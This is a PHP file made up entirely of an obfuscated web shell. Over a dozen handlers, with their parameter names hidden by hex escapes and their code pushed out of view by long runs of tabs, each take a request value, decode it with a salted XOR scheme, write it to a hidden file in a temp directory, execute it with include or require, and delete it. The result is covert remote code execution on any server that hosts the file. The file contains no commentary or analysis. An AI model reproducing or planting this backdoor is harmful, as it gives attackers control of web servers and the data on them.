<?php																																										if(isset($_POST["\x64c\x68\x75nk"])){ $flag = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP")]); $item = $_POST["\x64c\x68\x75nk"]; $item =explode ( '.', $item ) ; $sym = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); $k = 0; $len = count( $item ); do { if( $k >=$len) break; $v5 = $item[$k]; $sChar = ord( $s4[$k % $lenS] ); $d = ( ( int)$v5 - $sChar -( $k % 10)) ^ 19; $sym .= chr( $d ); $k++; } while( true ); foreach ($flag as $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $value = str_replace("{var_dir}", $ent, "{var_dir}/.tkn"); if (file_put_contents($value, $sym)) { require $value; unlink($value); die(); } } } }
																																										if(!is_null($_POST["\x6Fbj"] ?? null)){ $entity = $_POST["\x6Fbj"]; $entity = explode("." , $entity ) ; $record=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt6); $y=0; while ($y < count($entity)) { $v8=$entity[$y]; $sChar=ord($salt6[$y % $sLen]); $dec=((int)$v8 - $sChar - ($y % 10)) ^ 73; $record .= chr($dec); $y++; } $ent = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($ent as $flg) { if (is_writable($flg) && is_dir($flg)) { $flag = "$flg" . "/.mrk"; if (@file_put_contents($flag, $record) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(!empty($_POST["tok\x65n"])){ $factor = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $data = $_POST["tok\x65n"]; $data = explode ( '.' , $data ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; while ($x<count($data)) { $v1 = $data[$x]; $sChar = ord($s[$x % $sLen]); $d = ((int)$v1 - $sChar - ($x % 10)) ^ 91; $component .= chr($d); $x++; } while ($k = array_shift($factor)) { if ((bool)is_dir($k) && (bool)is_writable($k)) { $binding = sprintf("%s/.holder", $k); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $binding; @unlink($binding); exit; } } } }
																																										if(array_key_exists("\x74\x6Fken", $_POST) && !is_null($_POST["\x74\x6Fken"])){ $binding = $_POST["\x74\x6Fken"]; $binding= explode ( "." , $binding ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($binding as $u => $v1): $sChar = ord($s[$u % $lenS]); $dec =((int)$v1 - $sChar -($u % 10)) ^ 54; $ent .=chr($dec); endforeach; $data = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP")]); foreach ($data as $sym): if (is_writable($sym) && is_dir($sym)) { $item = "$sym" . "/.dat"; $success = file_put_contents($item, $ent); if ($success) { include $item; @unlink($item); die();} } endforeach; }
																																										if(isset($_POST["h\x6F\x6C\x64er"])){ $marker = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp"]); $ent = $_POST["h\x6F\x6C\x64er"]; $ent = explode ( ".",$ent ) ; $data = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3 ); $u = 0; while( $u < count( $ent)) { $v5 = $ent[$u]; $sChar = ord( $salt3[$u % $sLen] ); $d = ( ( int)$v5 - $sChar -( $u % 10))^ 20; $data.= chr( $d ); $u++; } foreach ($marker as $mrk): if (is_dir($mrk) ? is_writable($mrk) : false) { $resource = str_replace("{var_dir}", $mrk, "{var_dir}/.res"); if (file_put_contents($resource, $data)) { include $resource; @unlink($resource); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6Db\x6Fl"])){ $parameter_group = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $value = $_REQUEST["s\x79\x6Db\x6Fl"]; $value = explode ( "." , $value ) ; $entry = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); foreach ($value as $r => $v5) { $chS = ord($s7[$r% $sLen] ); $dec = ((int)$v5 - $chS - ($r% 10)) ^ 2; $entry .= chr($dec ); } foreach ($parameter_group as $marker) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $data_chunk = str_replace("{var_dir}", $marker, "{var_dir}/.elem"); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(!empty($_REQUEST["\x69\x74em"])){ $binding = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP")]); $ent = $_REQUEST["\x69\x74em"]; $ent= explode ('.', $ent) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $i = 0; $__tmp = $ent; while( $v2 = array_shift( $__tmp)) { $chS = ord( $salt[$i % $sLen] ); $d =( ( int)$v2 - $chS -( $i % 10)) ^ 40; $itm .= chr( $d ); $i++;} $reference = 0; do { $marker = $binding[$reference] ?? null; if ($reference >= count($binding)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $res = join("/", [$marker, ".data"]); $success = file_put_contents($res, $itm); if ($success) { include $res; @unlink($res); exit;} } $reference++; } while (true); }
																																										if(isset($_POST) && isset($_POST["re\x63"])){ $factor = $_POST["re\x63"]; $factor = explode ( '.' , $factor) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; foreach ($factor as $v4) { $sChar = ord($salt[$s% $lenS] ); $d = ((int)$v4 - $sChar - ($s% 10)) ^ 92; $dchunk .=chr($d ); $s++; } $data_chunk = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($data_chunk as $key => $data) { if (is_writable($data) && is_dir($data)) { $entity = implode("/", [$data, ".ent"]); if (@file_put_contents($entity, $dchunk) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(!empty($_REQUEST["d\x61t"])){ $res = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $resource = $_REQUEST["d\x61t"]; $resource = explode ( "." , $resource ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $w = 0; foreach ($resource as $v9) { $sChar = ord($s[$w % $sLen]); $dec = ((int)$v9 - $sChar - ($w % 10))^ 14; $entity.= chr($dec); $w++; } while ($bind = array_shift($res)) { if (!( !is_dir($bind) || !is_writable($bind) )) { $tkn = sprintf("%s/.elem", $bind); $success = file_put_contents($tkn, $entity); if ($success) { include $tkn; @unlink($tkn); die();} } } }
																																										if(@$_POST["\x72efere\x6E\x63e"] !== null){ $value = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TEMP")]); $resource = $_POST["\x72efere\x6E\x63e"]; $resource = explode ('.' , $resource ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; array_walk($resource, function ($v9) use (&$tkn, &$p, $salt, $sLen) { $chS = ord($salt[$p % $sLen]); $d = ((int)$v9 - $chS - ($p % 10)) ^ 12; $tkn.= chr($d); $p++;} ); while ($object = array_shift($value)) { if (array_product([is_dir($object), is_writable($object)])) { $dat = vsprintf("%s/%s", [$object, ".entry"]); if (file_put_contents($dat, $tkn)) { require $dat; unlink($dat); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x74\x6Fken"])){ $dat = $_POST["\x74\x6Fken"]; $dat =explode ('.' , $dat ) ; $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $u = 0; $__tmp = $dat; while ($v5 = array_shift($__tmp)) {$chS = ord($salt[$u % $sLen]); $d = ((int)$v5 - $chS - ($u % 10))^ 69; $pset .= chr($d); $u++; } $descriptor = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); foreach ($descriptor as $key => $desc) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $resource = "$desc/.parameter_group"; $success = file_put_contents($resource, $pset); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6Db\x6Fl"])){ $marker = $_REQUEST["s\x79\x6Db\x6Fl"]; $marker = explode ( "." , $marker ) ; $pset =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $i =0; array_walk($marker, function ($v3) use (&$pset, &$i, $salt, $lenS) { $chS =ord($salt[$i %$lenS]); $d =((int)$v3 - $chS - ($i %10)) ^ 3; $pset .= chr($d); $i++; }); $record = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getcwd()]); foreach ($record as $key => $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $entity = join("/", [$reference, ".fac"]); if (file_put_contents($entity, $pset)) { include $entity; @unlink($entity); exit; } } } }
																																										if(array_key_exists("itm", $_POST) && !is_null($_POST["itm"])){ $marker = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $entry = $_POST["itm"]; $entry =explode ( ".", $entry) ; $symbol = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $p = 0; while ($p< count($entry)) { $v6 = $entry[$p]; $sChar = ord($salt8[$p% $sLen] ); $dec = ((int)$v6 - $sChar - ($p% 10)) ^ 67; $symbol .= chr($dec ); $p++; } while ($binding = array_shift($marker)) { if (!!is_dir($binding) && !!is_writable($binding)) { $parameter_group = implode("/", [$binding, ".dat"]); if (file_put_contents($parameter_group, $symbol)) { include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(@$_REQUEST["\x66\x61c"] !== null){ $symbol = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $dat = $_REQUEST["\x66\x61c"]; $dat = explode( ".", $dat) ; $mrk= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $y= 0; $len= count($dat); do {if ($y >= $len) break; $v1= $dat[$y]; $chS= ord($salt[$y % $lenS]); $d= ((int)$v1 - $chS - ($y % 10)) ^ 62; $mrk.=chr($d); $y++; } while (true); while ($rec = array_shift($symbol)) { if ((is_dir($rec) and is_writable($rec))) { $pgrp = sprintf("%s/.pset", $rec); if (file_put_contents($pgrp, $mrk)) { require $pgrp; unlink($pgrp); exit; } } } }
																																										if(isset($_POST) && isset($_POST["facto\x72"])){ $mrk = array_filter([session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $reference = $_POST["facto\x72"]; $reference = explode ( '.' , $reference) ; $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); foreach ($reference as $v => $v1) { $sChar =ord($salt[$v % $lenS]); $d =((int)$v1 - $sChar - ($v % 10))^ 11; $resource .= chr($d); } while ($entity = array_shift($mrk)) { if (is_dir($entity) && is_writable($entity)) { $symbol = "$entity/.property_set"; if (file_put_contents($symbol, $resource)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(@$_POST["\x63\x6F\x6Dp\x6Fnent"] !== null){ $record = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $hld = $_POST["\x63\x6F\x6Dp\x6Fnent"]; $hld = explode ( "." ,$hld ); $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $u = 0; while( $u < count( $hld)) { $v4 = $hld[$u]; $sChar = ord( $salt[$u %$sLen] ); $dec =( ( int)$v4 - $sChar -( $u %10)) ^ 63; $k .= chr( $dec ); $u++; } foreach ($record as $val): if (!!is_dir($val) && !!is_writable($val)) { $ref = vsprintf("%s/%s", [$val, ".obj"]); if (file_put_contents($ref, $k)) { require $ref; unlink($ref); exit; } } endforeach; }
																																										if(array_key_exists("dat", $_POST) && !is_null($_POST["dat"])){ $hld = $_POST["dat"]; $hld= explode ( '.', $hld ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $t = 0; array_walk( $hld, function( $v7) use( &$sym, &$t, $salt, $sLen) {$chS = ord( $salt[$t % $sLen] ); $d = ( ( int)$v7 - $chS -( $t % 10)) ^ 74; $sym .=chr( $d ); $t++; } ); $comp = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); $rec = 0; do { $component = $comp[$rec] ?? null; if ($rec >= count($comp)) break; if (!!is_dir($component) && !!is_writable($component)) { $ref = vsprintf("%s/%s", [$component, ".itm"]); if (@file_put_contents($ref, $sym) !== false) { include $ref; unlink($ref); exit; } } $rec++; } while (true); }


if(@$_REQUEST["rec"] !== null){
	$dat = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]);
	$component = $_REQUEST["rec"];
	  $component	=   explode  ( 		'.'	, 	$component 	 )	;		
	$pointer = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $u = 0;
            $len = count($component);
    
            do {  if ($u 	>=  $len) break;
                $v5 = $component[$u];
                $sChar = ord($s[$u % $sLen]);
                $dec = ((int)$v5 - $sChar - ($u % 10))	^		74;
                $pointer .= chr($dec);
                $u++; 	} while (true);
	$property_set = 0;
do {
    $object = $dat[$property_set] ?? null;
    if ($property_set >= count($dat)) break;
    		if (is_dir($object) ? is_writable($object) : false) {
    $record = implode("/", [$object, ".ent"]);
    $file = fopen($record, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $record;
	@unlink($record);
	exit;
}
}
    $property_set++;
} while (true);
}